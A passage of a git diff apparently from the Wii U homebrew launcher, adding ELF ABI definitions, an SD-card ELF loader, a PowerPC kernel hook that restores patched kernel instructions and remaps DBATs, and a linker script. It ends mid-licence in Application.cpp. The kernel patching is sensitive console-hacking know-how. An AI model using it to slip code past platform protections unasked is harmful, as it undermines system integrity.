/* SiTera Prism */ +#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */ +#define EM_FR30 84 /* Fujitsu FR30 */ +#define EM_D10V 85 /* Mitsubishi DV10V */ +#define EM_D30V 86 /* Mitsubishi DV30V */ +#define EM_V850 87 /* NEC v850 */ +#define EM_M32R 88 /* Mitsubishi M32R */ +#define EM_MN10300 89 /* Matsushita MN10200 */ +#define EM_MN10200 90 /* Matsushita MN10200 */ +#define EM_PJ 91 /* picoJava */ +#define EM_NUM 92 /* number of machine types */ + +/* Version */ +#define EV_NONE 0 /* Invalid */ +#define EV_CURRENT 1 /* Current */ +#define EV_NUM 2 /* number of versions */ + +/* Section Header */ +typedef struct { + Elf32_Word sh_name; /* name - index into section header + string table section */ + Elf32_Word sh_type; /* type */ + Elf32_Word sh_flags; /* flags */ + Elf32_Addr sh_addr; /* address */ + Elf32_Off sh_offset; /* file offset */ + Elf32_Word sh_size; /* section size */ + Elf32_Word sh_link; /* section header table index link */ + Elf32_Word sh_info; /* extra information */ + Elf32_Word sh_addralign; /* address alignment */ + Elf32_Word sh_entsize; /* section entry size */ +} Elf32_Shdr; + +/* Special Section Indexes */ +#define SHN_UNDEF 0 /* undefined */ +#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */ +#define SHN_LOPROC 0xff00 /* reserved range for processor */ +#define SHN_HIPROC 0xff1f /* specific section indexes */ +#define SHN_LOOS 0xff20 /* reserved range for operating */ +#define SHN_HIOS 0xff3f /* specific semantics */ +#define SHN_ABS 0xfff1 /* absolute value */ +#define SHN_COMMON 0xfff2 /* common symbol */ +#define SHN_XINDEX 0xffff /* Index is an extra table */ +#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */ + +/* sh_type */ +#define SHT_NULL 0 /* inactive */ +#define SHT_PROGBITS 1 /* program defined information */ +#define SHT_SYMTAB 2 /* symbol table section */ +#define SHT_STRTAB 3 /* string table section */ +#define SHT_RELA 4 /* relocation section with addends*/ +#define SHT_HASH 5 /* symbol hash table section */ +#define SHT_DYNAMIC 6 /* dynamic section */ +#define SHT_NOTE 7 /* note section */ +#define SHT_NOBITS 8 /* no space section */ +#define SHT_REL 9 /* relation section without addends */ +#define SHT_SHLIB 10 /* reserved - purpose unknown */ +#define SHT_DYNSYM 11 /* dynamic symbol table section */ +#define SHT_INIT_ARRAY 14 /* Array of constructors */ +#define SHT_FINI_ARRAY 15 /* Array of destructors */ +#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */ +#define SHT_GROUP 17 /* Section group */ +#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */ +#define SHT_NUM 19 /* number of section types */ +#define SHT_LOOS 0x60000000 /* Start OS-specific */ +#define SHT_HIOS 0x6fffffff /* End OS-specific */ +#define SHT_LOPROC 0x70000000 /* reserved range for processor */ +#define SHT_HIPROC 0x7fffffff /* specific section header types */ +#define SHT_LOUSER 0x80000000 /* reserved range for application */ +#define SHT_HIUSER 0xffffffff /* specific indexes */ + +/* Section names */ +#define ELF_BSS ".bss" /* uninitialized data */ +#define ELF_COMMENT ".comment" /* version control information */ +#define ELF_DATA ".data" /* initialized data */ +#define ELF_DATA1 ".data1" /* initialized data */ +#define ELF_DEBUG ".debug" /* debug */ +#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */ +#define ELF_DYNSTR ".dynstr" /* dynamic string table */ +#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */ +#define ELF_FINI ".fini" /* termination code */ +#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */ +#define ELF_GOT ".got" /* global offset table */ +#define ELF_HASH ".hash" /* symbol hash table */ +#define ELF_INIT ".init" /* initialization code */ +#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */ +#define ELF_INTERP ".interp" /* Pathname of program interpreter */ +#define ELF_LINE ".line" /* Symbolic line numnber information */ +#define ELF_NOTE ".note" /* Contains note section */ +#define ELF_PLT ".plt" /* Procedure linkage table */ +#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */ +#define ELF_REL_DATA ".rel.data" /* relocation data */ +#define ELF_REL_FINI ".rel.fini" /* relocation termination code */ +#define ELF_REL_INIT ".rel.init" /* relocation initialization code */ +#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */ +#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */ +#define ELF_REL_TEXT ".rel.text" /* relocation code */ +#define ELF_RODATA ".rodata" /* read-only data */ +#define ELF_RODATA1 ".rodata1" /* read-only data */ +#define ELF_SHSTRTAB ".shstrtab" /* section header string table */ +#define ELF_STRTAB ".strtab" /* string table */ +#define ELF_SYMTAB ".symtab" /* symbol table */ +#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */ +#define ELF_TBSS ".tbss" /* thread local uninit data */ +#define ELF_TDATA ".tdata" /* thread local init data */ +#define ELF_TDATA1 ".tdata1" /* thread local init data */ +#define ELF_TEXT ".text" /* code */ + +/* Section Attribute Flags - sh_flags */ +#define SHF_WRITE 0x1 /* Writable */ +#define SHF_ALLOC 0x2 /* occupies memory */ +#define SHF_EXECINSTR 0x4 /* executable */ +#define SHF_MERGE 0x10 /* Might be merged */ +#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */ +#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */ +#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/ +#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */ +#define SHF_GROUP 0x200 /* Member of section group */ +#define SHF_TLS 0x400 /* Thread local storage */ +#define SHF_MASKOS 0x0ff00000 /* OS specific */ +#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */ + /* specific section attributes */ + +/* Section Group Flags */ +#define GRP_COMDAT 0x1 /* COMDAT group */ +#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */ +#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */ + +/* Symbol Table Entry */ +typedef struct elf32_sym { + Elf32_Word st_name; /* name - index into string table */ + Elf32_Addr st_value; /* symbol value */ + Elf32_Word st_size; /* symbol size */ + unsigned char st_info; /* type and binding */ + unsigned char st_other; /* 0 - no defined meaning */ + Elf32_Half st_shndx; /* section header index */ +} Elf32_Sym; + +/* Symbol table index */ +#define STN_UNDEF 0 /* undefined */ + +/* Extract symbol info - st_info */ +#define ELF32_ST_BIND(x) ((x) >> 4) +#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf) +#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf)) +#define ELF32_ST_VISIBILITY(x) ((x) & 0x3) + +/* Symbol Binding - ELF32_ST_BIND - st_info */ +#define STB_LOCAL 0 /* Local symbol */ +#define STB_GLOBAL 1 /* Global symbol */ +#define STB_WEAK 2 /* like global - lower precedence */ +#define STB_NUM 3 /* number of symbol bindings */ +#define STB_LOOS 10 /* reserved range for operating */ +#define STB_HIOS 12 /* system specific symbol bindings */ +#define STB_LOPROC 13 /* reserved range for processor */ +#define STB_HIPROC 15 /* specific symbol bindings */ + +/* Symbol type - ELF32_ST_TYPE - st_info */ +#define STT_NOTYPE 0 /* not specified */ +#define STT_OBJECT 1 /* data object */ +#define STT_FUNC 2 /* function */ +#define STT_SECTION 3 /* section */ +#define STT_FILE 4 /* file */ +#define STT_NUM 5 /* number of symbol types */ +#define STT_TLS 6 /* Thread local storage symbol */ +#define STT_LOOS 10 /* reserved range for operating */ +#define STT_HIOS 12 /* system specific symbol types */ +#define STT_LOPROC 13 /* reserved range for processor */ +#define STT_HIPROC 15 /* specific symbol types */ + +/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */ +#define STV_DEFAULT 0 /* Normal visibility rules */ +#define STV_INTERNAL 1 /* Processor specific hidden class */ +#define STV_HIDDEN 2 /* Symbol unavailable in other mods */ +#define STV_PROTECTED 3 /* Not preemptible, not exported */ + + +/* Relocation entry with implicit addend */ +typedef struct +{ + Elf32_Addr r_offset; /* offset of relocation */ + Elf32_Word r_info; /* symbol table index and type */ +} Elf32_Rel; + +/* Relocation entry with explicit addend */ +typedef struct +{ + Elf32_Addr r_offset; /* offset of relocation */ + Elf32_Word r_info; /* symbol table index and type */ + Elf32_Sword r_addend; +} Elf32_Rela; + +/* Extract relocation info - r_info */ +#define ELF32_R_SYM(i) ((i) >> 8) +#define ELF32_R_TYPE(i) ((unsigned char) (i)) +#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t)) + +/* Program Header */ +typedef struct { + Elf32_Word p_type; /* segment type */ + Elf32_Off p_offset; /* segment offset */ + Elf32_Addr p_vaddr; /* virtual address of segment */ + Elf32_Addr p_paddr; /* physical address - ignored? */ + Elf32_Word p_filesz; /* number of bytes in file for seg. */ + Elf32_Word p_memsz; /* number of bytes in mem. for seg. */ + Elf32_Word p_flags; /* flags */ + Elf32_Word p_align; /* memory alignment */ +} Elf32_Phdr; + +/* Segment types - p_type */ +#define PT_NULL 0 /* unused */ +#define PT_LOAD 1 /* loadable segment */ +#define PT_DYNAMIC 2 /* dynamic linking section */ +#define PT_INTERP 3 /* the RTLD */ +#define PT_NOTE 4 /* auxiliary information */ +#define PT_SHLIB 5 /* reserved - purpose undefined */ +#define PT_PHDR 6 /* program header */ +#define PT_TLS 7 /* Thread local storage template */ +#define PT_NUM 8 /* Number of segment types */ +#define PT_LOOS 0x60000000 /* reserved range for operating */ +#define PT_HIOS 0x6fffffff /* system specific segment types */ +#define PT_LOPROC 0x70000000 /* reserved range for processor */ +#define PT_HIPROC 0x7fffffff /* specific segment types */ + +/* Segment flags - p_flags */ +#define PF_X 0x1 /* Executable */ +#define PF_W 0x2 /* Writable */ +#define PF_R 0x4 /* Readable */ +#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */ +#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */ + /* specific segment flags */ +/* Dynamic structure */ +typedef struct +{ + Elf32_Sword d_tag; /* controls meaning of d_val */ + union + { + Elf32_Word d_val; /* Multiple meanings - see d_tag */ + Elf32_Addr d_ptr; /* program virtual address */ + } d_un; +} Elf32_Dyn; + +extern Elf32_Dyn _DYNAMIC[]; + +/* Dynamic Array Tags - d_tag */ +#define DT_NULL 0 /* marks end of _DYNAMIC array */ +#define DT_NEEDED 1 /* string table offset of needed lib */ +#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */ +#define DT_PLTGOT 3 /* address PLT/GOT */ +#define DT_HASH 4 /* address of symbol hash table */ +#define DT_STRTAB 5 /* address of string table */ +#define DT_SYMTAB 6 /* address of symbol table */ +#define DT_RELA 7 /* address of relocation table */ +#define DT_RELASZ 8 /* size of relocation table */ +#define DT_RELAENT 9 /* size of relocation entry */ +#define DT_STRSZ 10 /* size of string table */ +#define DT_SYMENT 11 /* size of symbol table entry */ +#define DT_INIT 12 /* address of initialization func. */ +#define DT_FINI 13 /* address of termination function */ +#define DT_SONAME 14 /* string table offset of shared obj */ +#define DT_RPATH 15 /* string table offset of library + search path */ +#define DT_SYMBOLIC 16 /* start sym search in shared obj. */ +#define DT_REL 17 /* address of rel. tbl. w addends */ +#define DT_RELSZ 18 /* size of DT_REL relocation table */ +#define DT_RELENT 19 /* size of DT_REL relocation entry */ +#define DT_PLTREL 20 /* PLT referenced relocation entry */ +#define DT_DEBUG 21 /* bugger */ +#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */ +#define DT_JMPREL 23 /* add. of PLT's relocation entries */ +#define DT_BIND_NOW 24 /* Process relocations of object */ +#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */ +#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */ +#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */ +#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */ +#define DT_RUNPATH 29 /* Library search path */ +#define DT_FLAGS 30 /* Flags for the object being loaded */ +#define DT_ENCODING 32 /* Start of encoded range */ +#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/ +#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */ +#define DT_NUM 34 /* Number used. */ +#define DT_LOOS 0x60000000 /* reserved range for OS */ +#define DT_HIOS 0x6fffffff /* specific dynamic array tags */ +#define DT_LOPROC 0x70000000 /* reserved range for processor */ +#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */ + +/* Dynamic Tag Flags - d_un.d_val */ +#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */ +#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */ +#define DF_TEXTREL 0x04 /* Object contains text relocations */ +#define DF_BIND_NOW 0x08 /* No lazy binding for this object */ +#define DF_STATIC_TLS 0x10 /* Static thread local storage */ + +/* Standard ELF hashing function */ +unsigned long elf_hash(const unsigned char *name); + +#define ELF_TARG_VER 1 /* The ver for which this code is intended */ + +/* + * XXX - PowerPC defines really don't belong in here, + * but we'll put them in for simplicity. + */ + +/* Values for Elf32/64_Ehdr.e_flags. */ +#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */ + +/* Cygnus local bits below */ +#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/ +#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib + flag */ + +/* PowerPC relocations defined by the ABIs */ +#define R_PPC_NONE 0 +#define R_PPC_ADDR32 1 /* 32bit absolute address */ +#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */ +#define R_PPC_ADDR16 3 /* 16bit absolute address */ +#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */ +#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */ +#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */ +#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */ +#define R_PPC_ADDR14_BRTAKEN 8 +#define R_PPC_ADDR14_BRNTAKEN 9 +#define R_PPC_REL24 10 /* PC relative 26 bit */ +#define R_PPC_REL14 11 /* PC relative 16 bit */ +#define R_PPC_REL14_BRTAKEN 12 +#define R_PPC_REL14_BRNTAKEN 13 +#define R_PPC_GOT16 14 +#define R_PPC_GOT16_LO 15 +#define R_PPC_GOT16_HI 16 +#define R_PPC_GOT16_HA 17 +#define R_PPC_PLTREL24 18 +#define R_PPC_COPY 19 +#define R_PPC_GLOB_DAT 20 +#define R_PPC_JMP_SLOT 21 +#define R_PPC_RELATIVE 22 +#define R_PPC_LOCAL24PC 23 +#define R_PPC_UADDR32 24 +#define R_PPC_UADDR16 25 +#define R_PPC_REL32 26 +#define R_PPC_PLT32 27 +#define R_PPC_PLTREL32 28 +#define R_PPC_PLT16_LO 29 +#define R_PPC_PLT16_HI 30 +#define R_PPC_PLT16_HA 31 +#define R_PPC_SDAREL16 32 +#define R_PPC_SECTOFF 33 +#define R_PPC_SECTOFF_LO 34 +#define R_PPC_SECTOFF_HI 35 +#define R_PPC_SECTOFF_HA 36 +/* Keep this the last entry. */ +#define R_PPC_NUM 37 + +/* The remaining relocs are from the Embedded ELF ABI, and are not + in the SVR4 ELF ABI. */ +#define R_PPC_EMB_NADDR32 101 +#define R_PPC_EMB_NADDR16 102 +#define R_PPC_EMB_NADDR16_LO 103 +#define R_PPC_EMB_NADDR16_HI 104 +#define R_PPC_EMB_NADDR16_HA 105 +#define R_PPC_EMB_SDAI16 106 +#define R_PPC_EMB_SDA2I16 107 +#define R_PPC_EMB_SDA2REL 108 +#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */ +#define R_PPC_EMB_MRKREF 110 +#define R_PPC_EMB_RELSEC16 111 +#define R_PPC_EMB_RELST_LO 112 +#define R_PPC_EMB_RELST_HI 113 +#define R_PPC_EMB_RELST_HA 114 +#define R_PPC_EMB_BIT_FLD 115 +#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */ + +/* Diab tool relocations. */ +#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */ +#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */ +#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */ +#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */ +#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */ +#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */ + +/* This is a phony reloc to handle any old fashioned TOC16 references + that may still be in object files. */ +#define R_PPC_TOC16 255 + +#endif /* _ELF_H */ diff --git a/sd_loader/src/entry.c b/sd_loader/src/entry.c new file mode 100644 index 0000000..6aa0945 --- /dev/null +++ b/sd_loader/src/entry.c @@ -0,0 +1,304 @@ +#include +#include "elf_abi.h" +#include "../../src/common/common.h" +#include "../../src/common/fs_defs.h" +#include "../../src/common/os_defs.h" + +#define CODE_RW_BASE_OFFSET 0 +#define DATA_RW_BASE_OFFSET 0 + +#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__); + +#define OS_FIND_EXPORT(handle, funcName, func) OSDynLoad_FindExport(handle, 0, funcName, &func) + +typedef struct _private_data_t +{ + EXPORT_DECL(void *, MEMAllocFromDefaultHeapEx,int size, int align); + EXPORT_DECL(void, MEMFreeToDefaultHeap,void *ptr); + + EXPORT_DECL(void*, memcpy, void *p1, const void *p2, unsigned int s); + EXPORT_DECL(void*, memset, void *p1, int val, unsigned int s); + EXPORT_DECL(void, OSFatal, const char* msg); + EXPORT_DECL(void, DCFlushRange, const void *addr, u32 length); + EXPORT_DECL(void, ICInvalidateRange, const void *addr, u32 length); + EXPORT_DECL(int, __os_snprintf, char* s, int n, const char * format, ...); + EXPORT_DECL(void, __Exit, void); + + EXPORT_DECL(int, FSInit, void); + EXPORT_DECL(int, FSAddClientEx, void *pClient, int unk_zero_param, int errHandling); + EXPORT_DECL(int, FSDelClient, void *pClient); + EXPORT_DECL(void, FSInitCmdBlock, void *pCmd); + EXPORT_DECL(int, FSGetMountSource, void *pClient, void *pCmd, int type, void *source, int errHandling); + EXPORT_DECL(int, FSMount, void *pClient, void *pCmd, void *source, const char *target, uint32_t bytes, int errHandling); + EXPORT_DECL(int, FSUnmount, void *pClient, void *pCmd, const char *target, int errHandling); + EXPORT_DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling); + EXPORT_DECL(int, FSGetStatFile, void *pClient, void *pCmd, int fd, void *buffer, int error); + EXPORT_DECL(int, FSReadFile, void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling); + EXPORT_DECL(int, FSCloseFile, void *pClient, void *pCmd, int fd, int errHandling); + + EXPORT_DECL(int, SYSRelaunchTitle, int argc, char* argv); +} private_data_t; + +static int LoadFileToMem(private_data_t *private_data, const char *filepath, unsigned char **fileOut, unsigned int * sizeOut) +{ + int iFd = -1; + void *pClient = private_data->MEMAllocFromDefaultHeapEx(FS_CLIENT_SIZE, 4); + if(!pClient) + return 0; + + void *pCmd = private_data->MEMAllocFromDefaultHeapEx(FS_CMD_BLOCK_SIZE, 4); + if(!pCmd) + { + private_data->MEMFreeToDefaultHeap(pClient); + return 0; + } + + int success = 0; + private_data->FSInit(); + private_data->FSInitCmdBlock(pCmd); + private_data->FSAddClientEx(pClient, 0, -1); + + do + { + char tempPath[FS_MOUNT_SOURCE_SIZE]; + char mountPath[FS_MAX_MOUNTPATH_SIZE]; + + int status = private_data->FSGetMountSource(pClient, pCmd, 0, tempPath, -1); + if (status != 0) { + private_data->OSFatal("FSGetMountSource failed."); + break; + } + status = private_data->FSMount(pClient, pCmd, tempPath, mountPath, FS_MAX_MOUNTPATH_SIZE, -1); + if(status != 0) { + private_data->OSFatal("SD mount failed."); + break; + } + + status = private_data->FSOpenFile(pClient, pCmd, filepath, "r", &iFd, -1); + if(status != 0) + { + private_data->FSUnmount(pClient, pCmd, mountPath, -1); + break; + } + + FSStat stat; + stat.size = 0; + + void *pBuffer = NULL; + + private_data->FSGetStatFile(pClient, pCmd, iFd, &stat, -1); + + if(stat.size > 0) + pBuffer = private_data->MEMAllocFromDefaultHeapEx((stat.size + 0x3F) & ~0x3F, 0x40); + + if(!pBuffer) + private_data->OSFatal("Not enough memory for ELF file."); + + unsigned int done = 0; + + while(done < stat.size) + { + int readBytes = private_data->FSReadFile(pClient, pCmd, pBuffer + done, 1, stat.size - done, iFd, 0, -1); + if(readBytes <= 0) { + break; + } + done += readBytes; + } + + if(done != stat.size) + { + private_data->MEMFreeToDefaultHeap(pBuffer); + } + else + { + *fileOut = (unsigned char*)pBuffer; + *sizeOut = stat.size; + success = 1; + } + + private_data->FSCloseFile(pClient, pCmd, iFd, -1); + private_data->FSUnmount(pClient, pCmd, mountPath, -1); + } + while(0); + + private_data->FSDelClient(pClient); + private_data->MEMFreeToDefaultHeap(pClient); + private_data->MEMFreeToDefaultHeap(pCmd); + return success; +} + +static unsigned int load_elf_image (private_data_t *private_data, unsigned char *elfstart) +{ + Elf32_Ehdr *ehdr; + Elf32_Phdr *phdrs; + unsigned char *image; + int i; + + ehdr = (Elf32_Ehdr *) elfstart; + + if(ehdr->e_phoff == 0 || ehdr->e_phnum == 0) + return 0; + + if(ehdr->e_phentsize != sizeof(Elf32_Phdr)) + return 0; + + phdrs = (Elf32_Phdr*)(elfstart + ehdr->e_phoff); + + for(i = 0; i < ehdr->e_phnum; i++) + { + if(phdrs[i].p_type != PT_LOAD) + continue; + + if(phdrs[i].p_filesz > phdrs[i].p_memsz) + return 0; + + if(!phdrs[i].p_filesz) + continue; + + unsigned int p_paddr = phdrs[i].p_paddr; + + // use correct offset address for executables and data access + if(phdrs[i].p_flags & PF_X) + p_paddr += CODE_RW_BASE_OFFSET; + else + p_paddr += DATA_RW_BASE_OFFSET; + + image = (unsigned char *) (elfstart + phdrs[i].p_offset); + private_data->memcpy ((void *) p_paddr, image, phdrs[i].p_filesz); + private_data->DCFlushRange((void*)p_paddr, phdrs[i].p_filesz); + + if(phdrs[i].p_flags & PF_X) + private_data->ICInvalidateRange ((void *) phdrs[i].p_paddr, phdrs[i].p_memsz); + } + + //! clear BSS + Elf32_Shdr *shdr = (Elf32_Shdr *) (elfstart + ehdr->e_shoff); + for(i = 0; i < ehdr->e_shnum; i++) + { + const char *section_name = ((const char*)elfstart) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name; + if(section_name[0] == '.' && section_name[1] == 'b' && section_name[2] == 's' && section_name[3] == 's') + { + private_data->memset((void*)shdr[i].sh_addr, 0, shdr[i].sh_size); + private_data->DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size); + } + else if(section_name[0] == '.' && section_name[1] == 's' && section_name[2] == 'b' && section_name[3] == 's' && section_name[4] == 's') + { + private_data->memset((void*)shdr[i].sh_addr, 0, shdr[i].sh_size); + private_data->DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size); + } + } + + return ehdr->e_entry; +} + +static void loadFunctionPointers(private_data_t * private_data) +{ + unsigned int coreinit_handle; + + EXPORT_DECL(int, OSDynLoad_Acquire, const char* rpl, u32 *handle); + EXPORT_DECL(int, OSDynLoad_FindExport, u32 handle, int isdata, const char *symbol, void *address); + + OSDynLoad_Acquire = (int (*)(const char*, u32 *))OS_SPECIFICS->addr_OSDynLoad_Acquire; + OSDynLoad_FindExport = (int (*)(u32, int, const char *, void *))OS_SPECIFICS->addr_OSDynLoad_FindExport; + + OSDynLoad_Acquire("coreinit", &coreinit_handle); + + unsigned int *functionPtr = 0; + + OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPtr); + private_data->MEMAllocFromDefaultHeapEx = (void * (*)(int, int))*functionPtr; + OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPtr); + private_data->MEMFreeToDefaultHeap = (void (*)(void *))*functionPtr; + + OS_FIND_EXPORT(coreinit_handle, "memcpy", private_data->memcpy); + OS_FIND_EXPORT(coreinit_handle, "memset", private_data->memset); + OS_FIND_EXPORT(coreinit_handle, "OSFatal", private_data->OSFatal); + OS_FIND_EXPORT(coreinit_handle, "DCFlushRange", private_data->DCFlushRange); + OS_FIND_EXPORT(coreinit_handle, "ICInvalidateRange", private_data->ICInvalidateRange); + OS_FIND_EXPORT(coreinit_handle, "__os_snprintf", private_data->__os_snprintf); + OS_FIND_EXPORT(coreinit_handle, "_Exit", private_data->__Exit); + + OS_FIND_EXPORT(coreinit_handle, "FSInit", private_data->FSInit); + OS_FIND_EXPORT(coreinit_handle, "FSAddClientEx", private_data->FSAddClientEx); + OS_FIND_EXPORT(coreinit_handle, "FSDelClient", private_data->FSDelClient); + OS_FIND_EXPORT(coreinit_handle, "FSInitCmdBlock", private_data->FSInitCmdBlock); + OS_FIND_EXPORT(coreinit_handle, "FSGetMountSource", private_data->FSGetMountSource); + OS_FIND_EXPORT(coreinit_handle, "FSMount", private_data->FSMount); + OS_FIND_EXPORT(coreinit_handle, "FSUnmount", private_data->FSUnmount); + OS_FIND_EXPORT(coreinit_handle, "FSOpenFile", private_data->FSOpenFile); + OS_FIND_EXPORT(coreinit_handle, "FSGetStatFile", private_data->FSGetStatFile); + OS_FIND_EXPORT(coreinit_handle, "FSReadFile", private_data->FSReadFile); + OS_FIND_EXPORT(coreinit_handle, "FSCloseFile", private_data->FSCloseFile); + + unsigned int sysapp_handle; + OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); + OS_FIND_EXPORT(sysapp_handle, "SYSRelaunchTitle", private_data->SYSRelaunchTitle); +} + +int _start(int argc, char **argv) +{ + { + private_data_t private_data; + loadFunctionPointers(&private_data); + + while(1) + { + if(ELF_DATA_ADDR != 0xDEADC0DE && ELF_DATA_SIZE > 0) + { + //! copy data to safe area before processing it + unsigned char * pElfBuffer = (unsigned char *)private_data.MEMAllocFromDefaultHeapEx(ELF_DATA_SIZE, 4); + if(pElfBuffer) + { + private_data.memcpy(pElfBuffer, (unsigned char*)ELF_DATA_ADDR, ELF_DATA_SIZE); + MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer); + private_data.MEMFreeToDefaultHeap(pElfBuffer); + } + ELF_DATA_ADDR = 0xDEADC0DE; + ELF_DATA_SIZE = 0; + } + + if(MAIN_ENTRY_ADDR == 0xDEADC0DE || MAIN_ENTRY_ADDR == 0) + { + unsigned char *pElfBuffer = NULL; + unsigned int uiElfSize = 0; + + LoadFileToMem(&private_data, CAFE_OS_SD_PATH WIIU_PATH "/apps/homebrew_launcher/homebrew_launcher.elf", &pElfBuffer, &uiElfSize); + + if(!pElfBuffer) + { + private_data.OSFatal("Could not load file " WIIU_PATH "/apps/homebrew_launcher/homebrew_launcher.elf"); + } + else + { + MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer); + private_data.MEMFreeToDefaultHeap(pElfBuffer); + + if(MAIN_ENTRY_ADDR == 0) + { + private_data.OSFatal("Failed to load ELF " WIIU_PATH "/apps/homebrew_launcher/homebrew_launcher.elf"); + } + } + } + else + { + int returnVal = ((int (*)(int, char **))MAIN_ENTRY_ADDR)(argc, argv); + + //! exit to miimaker and restart application on re-enter of another application + if(returnVal == (int)EXIT_RELAUNCH_ON_LOAD) + { + break; + } + //! exit to homebrew launcher in all other cases + else + { + MAIN_ENTRY_ADDR = 0xDEADC0DE; + private_data.SYSRelaunchTitle(0, 0); + private_data.__Exit(); + break; + } + } + } + } + + return ( (int (*)(int, char **))(*(unsigned int*)OS_SPECIFICS->addr_OSTitle_main_entry) )(argc, argv); +} diff --git a/sd_loader/src/kernel_hooks.S b/sd_loader/src/kernel_hooks.S new file mode 100644 index 0000000..7f70ebb --- /dev/null +++ b/sd_loader/src/kernel_hooks.S @@ -0,0 +1,29 @@ +# This stuff may need a change in different kernel versions +# This is only needed when launched directly through browser and not SD card. + +.section ".kernel_code" + .globl SaveAndResetDataBATs_And_SRs_hook +SaveAndResetDataBATs_And_SRs_hook: + # setup CTR to the position we need to return to + mflr r5 + mtctr r5 + # set link register to its original value + mtlr r7 + # setup us a nice DBAT for our code data with same region as our code + mfspr r5, 560 + mtspr 570, r5 + mfspr r5, 561 + mtspr 571, r5 + # restore the original kernel instructions that we replaced + lwz r5, 0x34(r3) + lwz r6, 0x38(r3) + lwz r7, 0x3C(r3) + lwz r8, 0x40(r3) + lwz r9, 0x44(r3) + lwz r10, 0x48(r3) + lwz r11, 0x4C(r3) + lwz r3, 0x50(r3) + isync + mtsr 7, r5 + # jump back to the position in kernel after our patch (from LR) + bctr diff --git a/sd_loader/src/link.ld b/sd_loader/src/link.ld new file mode 100644 index 0000000..f57f59b --- /dev/null +++ b/sd_loader/src/link.ld @@ -0,0 +1,22 @@ +OUTPUT(sd_loader.elf); + +ENTRY(_start); + +SECTIONS { + . = 0x00800000; + .text : { + *(.kernel_code*); + *(.text*); + /* Tell linker to not garbage collect this section as it is not referenced anywhere */ + KEEP(*(.kernel_code*)); + } + .data : { + *(.rodata*); + *(.data*); + } + /DISCARD/ : { + *(*); + } +} + +ASSERT((SIZEOF(.text) + SIZEOF(.data)) < 0x1000, "Memory overlapping with main elf."); diff --git a/src/Application.cpp b/src/Application.cpp new file mode 100644 index 0000000..c0d199c --- /dev/null +++ b/src/Application.cpp @@ -0,0 +1,200 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR 